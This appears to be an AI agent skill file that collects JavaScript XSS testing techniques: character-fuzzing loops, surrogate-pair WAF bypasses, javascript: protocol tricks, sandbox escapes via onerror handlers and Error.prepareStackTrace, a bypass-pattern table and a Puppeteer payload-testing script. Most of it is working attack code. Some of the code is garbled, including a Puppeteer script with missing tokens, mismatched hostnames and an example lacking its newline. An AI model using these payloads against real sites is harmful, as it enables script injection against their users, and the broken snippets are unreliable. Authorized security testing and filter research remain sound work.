| name | js-xss-pentesting |
| description | JavaScript-based XSS and security testing techniques. Use this skill whenever the user needs to test for XSS vulnerabilities, fuzz JavaScript input, bypass WAF protections, escape JavaScript sandboxes, or analyze JavaScript behavior for security research. This includes generating payloads, understanding valid JavaScript characters, protocol fuzzing, and automated browser testing. Make sure to use this skill when the user mentions XSS, JavaScript security, WAF bypass, sandbox escape, or any web application security testing involving JavaScript. |
JavaScript XSS & Security Testing
A comprehensive guide to JavaScript-based security testing techniques for XSS vulnerabilities, WAF bypass, and sandbox escapes.
JavaScript Fuzzing
Valid JavaScript Comment Characters
JavaScript accepts various characters as comment delimiters. These can be used to bypass filters:
#! Single line (must be at beginning)
--> Single line (must be at beginning)
Fuzzing script to discover valid comment characters:
for (let j = 0; j < 128; j++) {
for (let k = 0; k < 128; k++) {
for (let l = 0; l < 128; l++) {
if (j == 34 || k == 34 || l == 34) continue;
if (j == 0x0a || k == 0x0a || l == 0x0a) continue;
if (j == 0x0d || k == 0x0d || l == 0x0d) continue;
if (j == 0x3c || k == 0x3c || l == 0x3c) continue;
if ((j == 47 && k == 47) || (k == 47 && l == 47)) continue;
try {
var cmd = String.fromCharCode(j) + String.fromCharCode(k) +
String.fromCharCode(l) + 'a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === 'ReferenceError') continue;
console.log(err, cmd);
}
}
}
}
Valid JavaScript Newline Characters
JavaScript interprets these characters as newlines:
| Character | Code | Hex |
|---|
| LF | 10 | 0x0a |
| CR | 13 | 0x0d |
| Line Separator | 8232 | 0xe2 0x80 0xa8 |
| Paragraph Separator | 8233 | 0xe2 0x80 0xa9 |
Fuzzing script to discover valid newline characters:
for (let j = 0; j < 65536; j++) {
try {
var cmd = '"aaaaa";' + String.fromCharCode(j) + '-->a.orange.ctf"';
eval(cmd);
} catch (e) {
var err = e.toString().split("\n")[0].split(":")[0];
if (err === "SyntaxError" || err === "ReferenceError") continue;
console.log(`[${err}]`, j, cmd);
}
}
Valid Characters in Function Calls
Characters that can appear between a function name and parentheses:
function x() {}
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
try {
eval(`x${String.fromCodePoint(i)}()`);
log.push(i);
} catch(e) {}
}
Valid String Generation Characters
Characters that can form valid strings:
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
try {
eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`);
log.push(i);
} catch (e) {}
}
WAF Bypass Techniques
Surrogate Pairs
Surrogate pairs can bypass WAF protections by encoding bytes differently:
def unicode(findHex):
"""Find surrogate pairs matching specific byte patterns"""
for i in range(0, 0xFFFFF):
H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
h = chr(int(H[-2:], 16))
L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
l = chr(int(L[-2:], 16))
if (h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x", "\\u") + L.replace("0x", "\\u"))
Protocol Fuzzing
Fuzz the javascript: protocol to find bypasses:
log = [];
let anchor = document.createElement('a');
for (let i = 0; i <= 0x10ffff; i++) {
anchor.href = `javascript${String.fromCodePoint(i)}:`;
if (anchor.protocol === 'javascript:') {
log.push(i);
}
}
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.textContent = 'Click me';
document.body.append(anchor);
URL Fuzzing
Before the protocol:
a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`;
if (a.hostname === "hacktricks.xyz") {
log.push(i);
}
}
Between slashes:
a = document.createElement("a");
log = [];
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
if (a.hostname === "hacktricks.xyz") {
log.push(i);
}
}
HTML Comment Fuzzing
Characters that can close HTML comments:
log = [];
div = document.createElement("div");
for (let i = 0; i <= 0x10ffff; i++) {
div.innerHTML = `<!----${String.fromCodePoint(i)}><span></span>-->`;
if (div.querySelector("span")) {
log.push(i);
}
}
JavaScript Function Tricks
.call() and .apply()
Execute functions with custom this context:
function test_call() {
console.log(this.value);
}
new_this = { value: "hey!" };
test_call.call(new_this);
function test_call() {
console.log(arguments[0]);
console.log(arguments[1]);
console.log(this);
}
test_call.call(null, "arg1", "arg2");
function test_apply() {
console.log(arguments[0]);
console.log(arguments[1]);
}
test_apply.apply(null, ["arg1", "arg2"]);
Arrow Functions
Concise function syntax:
function plusone(a) { return a + 1; }
plusone = (a) => a + 1;
(a, b) => a + b + 100;
() => a + b + 1;
.bind()
Create function copies with modified this and parameters:
var fn = function(param1, param2) {
console.info(this, param1, param2);
};
var bindFn = fn.bind(console, "fixingparam1");
bindFn("Hello", "World");
var bindFnNull = fn.bind(null, "fixingparam1");
Function Code Leak
Extract function source code:
function afunc() {
return 1 + 1;
}
console.log(afunc.toString());
console.log(String(afunc));
console.log(this.afunc.toString());
console.log(global.afunc.toString());
;(function() {
return arguments.callee.toString();
})();
;(function() {
return (retFunc) => String(arguments[0]);
})((a) => {
})();
Sandbox Escape Techniques
Recovering Window Object
Access global functions from restricted contexts:
window.eval("alert(1)");
frames;
globalThis;
parent;
self;
top;
document.defaultView.alert(1);
node = document.createElement('div');
node.ownerDocument.defaultView.alert(1);
<img src onerror="event.path.pop().alert(1337)">
<img src onerror="event.composedPath().pop().alert(1337)">
<svg><image href=1 onerror="evt.composedPath().pop().alert(1337)"></svg>
// Using Error.prepareStackTrace
Error.prepareStackTrace = function(error, callSites) {
callSites.shift().getThis().alert(1337);
};
new Error().stack;
// Using with() statement
<img src onerror="with(document) { defaultView.alert(1337); }">
Breakpoint Debugging
Set breakpoints on property access:
sessionStorage.getItem = localStorage.getItem = function(prop) {
debugger;
return sessionStorage[prop];
};
localStorage.setItem = function(prop, val) {
debugger;
localStorage[prop] = val;
};
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function() {
if (debugGet) debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});
}
debugAccess(Object.prototype, "ppmap");
Automated Browser Testing
Puppeteer Payload Testing
Automate XSS payload testing with headless browser:
const puppeteer = require("puppeteer");
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
for (let i = 0; i < 10000; i += 100) {
console.log(`Run number ${i}`);
const input = `${"0".repeat(i)}${realPasswordLength}`;
await page.goto(`https://target.com/page?param=${input}`);
await page.evaluate("generate()");
const content = await page.$$eval(
".alert .page-content",
(node) => node[0].innerText
);
.(content);
();
}
browser.();
})();
Additional Resources
Tools
References
Quick Reference
Common Bypass Patterns
| Technique | Example |
|---|
| Newline in protocol | javascript:alert(1) |
| Comment bypass | <!-->alert(1)<!-- |
| Function space | alert\xa0(1) |
| String quotes | "%$£234" |
| Protocol fuzz | javascript\u003aalert(1) |
Decrement Operator Trick
The -- operator can remove variables from scope:
--variableName;
Usage Guidelines
- Always test in controlled environments - These techniques can be destructive
- Document findings - Keep records of successful bypasses
- Respect scope - Only test systems you have authorization for
- Combine techniques - Multiple bypasses often work together
- Stay updated - Browser behavior changes frequently